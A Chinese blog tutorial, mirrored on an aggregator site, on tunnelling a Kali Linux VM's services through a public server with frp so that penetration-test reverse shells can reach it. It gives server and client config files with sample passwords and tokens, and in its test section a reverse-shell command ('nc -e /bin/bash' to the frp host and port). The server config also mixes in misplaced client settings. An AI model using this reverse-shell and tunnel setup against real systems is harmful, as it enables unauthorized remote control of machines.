IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 系统运维 -> frp内网穿透—将kali代理在公网中进行渗透测试 -> 正文阅读

[系统运维]frp内网穿透—将kali代理在公网中进行渗透测试

前言

由于工作常需要用到kali,但是公网服务器并没有安装kali镜像,本地只安装了kali虚拟机,而msf渗透时常常需要反弹shell到kali中,但内网中的kali并没有公网IP地址,因而可以通过frp工具将 内网中的服务 映射到 公网IP地址的端口中

从前的日色变得慢,车,马,邮件都慢。

Frp简介

frp 是一个高性能的反向代理应用,采用C/S架构(客户端/服务端),通过简单的配置能够将客户端中的tcp, udp, http, https 等协议隐射到服务端相应端口上,通过访问服务端对应的端口即能够访问到客户端对应的服务。
frp实现效果大致如下,通过访问公网服务器的某个端口即可访问到内网服务器中的某个服务
在这里插入图片描述

准备工具

为了完成frp内外穿透,你需要准备好如下资源/工具

  • 公网服务器,这里我用的是CentOS7.6
  • frp服务端/客户端工具,github下载
  • 内网服务器或本机,这里我用的是kali2020虚拟机

frp下载github链接
frp说明github链接
这里也提供amd64架构的网盘资源
链接:https://pan.baidu.com/s/1cLO2hI4t9wiJ4aAl0axUsw
提取码:qwer
frp工具服务端和客户端不需要分开下载,部署时选择服务端或客户端部署即可

实现内网穿透

frp服务端配置

首先将下载好的frp工具上传到服务器【这里我用的FinalShell可以直接上传文件】,如果不方便的话也可以用wget下载,tar命令解压如下:
在这里插入图片描述
修改frps.ini配置文件,我这里是将80端口的http服务、22端口的ssh服务和9002端口的tcp服务,用于kali反弹shell的监听端口 ,都分别进行映射,具体可以根据需要进行配置:

[common]
# 一、服务器的基本配置部分
# 7000 是FRP服务端口,可以改
bind_port = 7000
# dashboard_user和dashboard_pwd是FRP网页版管理员用户名密码,可以改。
dashboard_user = admin
dashboard_pwd = frpadmin@2022
# 7500 是网页版管理端口:可以通过 http://服务器ip:7500登陆
dashboard_port = 7500
# 服务器和客户机之间的心跳连接
heartbeat_timeout = 30
#token设置,需要和客户端一致,客户端与服务端通过token进行认证,建议满足复杂度要求
token=frpToken@admin2022
 
# 二、添加的映射端口
[common]
# FRP服务器的公网ip
server_addr = 【这里写自己的公网服务器地址】
#例如:server_addr = 1.1.1.1

# FRP服务器的,服务端口,这个可以改,不过客户端的也要一起改才行。
server_port = 7000


# 三、转发端口:[test01]、[test02] 这些没有任何意义,就是大致描述这个端口作用。
# 每增加一个转发端口,复制下面的两行,然后将[]里面的和vhost_http_port_03改了就行了。
#[test01]
#vhost_http_port = 9001
 
#[test02]
#vhost_tcp_port = 1315
#转发端口配置,实际测试这里影响不大,主要取决于客户端的配置
vhost_http_port = 9001
vhost_ssh_port = 9002
vhost_tcp_port = 9003

启动frp服务端如下:
在这里插入图片描述
此时通过访问服务器的7500端口可以看到frp服务运行情况,用户名和密码为上面配置的dashboard_user和dashboard_pwd的值:

在这里插入图片描述
至此,frp服务端正常运行

frp客户端配置

同样的方式将frp工具上传到kali虚拟机中,这里要确保kali是能够正常联网的,同样用tar命令解压,配置frpc.ini文件如下:

# 客户端配置
[common]
server_addr = 【这里写自己的公网服务器地址】
#例如:server_addr = 1.1.1.1
server_port = 7000          #frp服务端口要和服务端设定的一致
token = frpToken@admin2022  #token要和服务端一致



# 配置http服务,可用于小程序开发、远程调试等,如果没有可以不写下面的
[web]
type = http
local_ip = 0.0.0.0
local_port = 80   #本地需要映射的端口
custom_domains = 【这里写自己的公网服务器地址】
remote_port = 9001 #映射到服务端的端口

#kali ssh
[ssh]
type = tcp
local_ip = 0.0.0.0
local_port = 22
custom_domains = 【这里写自己的公网服务器地址】
remote_port = 9002  

#tcp msfconsole
[tcp]
type = tcp
local_ip = 0.0.0.0
local_port = 9003
custom_domains = 【这里写自己的公网服务器地址】
remote_port = 9003

kali上运行frp客户端如下,此时要确保frp服务端正常运行,看到我们配置的三个端口均正常映射,如果显示连接拒绝可以考虑在防火墙上放行对应端口
至此,服务端和客户端均正常配置

测试

HTTP服务测试

此时在kali上用python开启一个http服务进行测试

python3 -m http.server 80

http服务正常开启
在这里插入图片描述
通过访问我们设定的公网IP:对应端口即可看到kali上开启的HTTP服务
在这里插入图片描述
在7500端口的frp管理员界面也可以看到对应的frp映射链接
在这里插入图片描述

至此,我们可以通过访问公网IP的对应端口来访问内网服务器中对应的服务

ssh服务测试

首先确保kali上正常开启了ssh服务,且frp服务端和客户端正常启动
在这里插入图片描述
在7500端口的frp管理员界面也可以看到对应的frp映射链接,这里比较疑惑的是frp客户端和服务端都配置了ssh映射端口为9002,但是实际要根据这个管理端界面提供的端口来连接ssh
在这里插入图片描述
用连接ssh进行测试,可以看到通过4880端口成功登入ssh
在这里插入图片描述

反弹shell测试

在kali中利用msf工具时为了反弹shell常常需要设定本地监听端口,而虚拟机中的kali由于没有公网地址因此较难对公网中的服务器展开测试,通过frp代理很好的解决了这个问题
在上面的配置中,我配置了一个基于tcp的9003端口,映射到虚拟机kali的9003端口作为反弹shell的监听端口,这样就能够利用虚拟机kali对公网服务器进行测试,具体展开测试如下:
首先在kali上开启监听
在这里插入图片描述
接下来用另一台能联网的服务器反弹shell

nc -e /bin/bash 【frp服务器地址】 【frp映射TCP端口】
例:nc -e /bin/bash 1.1.1.1 9003

执行命令后成功在kali中接收到shell
在这里插入图片描述
当然这里也可以用msf生成payload进行测试,这里就不再继续演示

注意

利用frp穿透内网时需要注意,由于frp采用了C/S架构,因此用户对于frp服务端映射端口的访问,在客户端看来都是本地的访问,相当于客户端的frp来访问自己的服务,再将流量转发出去,总结就是frp客户端认为所有的访问均来自本地,不能知道真正的访问者IP,frp服务端能够看到"真正"的访问者IP,没准访问者也使用了代理
因此上面在访问HTTP或ssh时,kali虚拟机认为这些访问来自于本地的frp客户端,并不能知道真正的用户来自哪里,这对于frp客户端的安全策略将有更高的要求

若有其他疑问,欢迎评论区留言或与我联系~

  系统运维 最新文章
配置小型公司网络WLAN基本业务(AC通过三层
如何在交付运维过程中建立风险底线意识,提
快速传输大文件,怎么通过网络传大文件给对
从游戏服务端角度分析移动同步(状态同步)
MySQL使用MyCat实现分库分表
如何用DWDM射频光纤技术实现200公里外的站点
国内顺畅下载k8s.gcr.io的镜像
自动化测试appium
ctfshow ssrf
Linux操作系统学习之实用指令(Centos7/8均
上一篇文章      下一篇文章      查看所有文章
加:2022-09-13 11:56:34  更:2022-09-13 11:59:20 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年12日历 -2024/12/28 18:21:51-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码
数据统计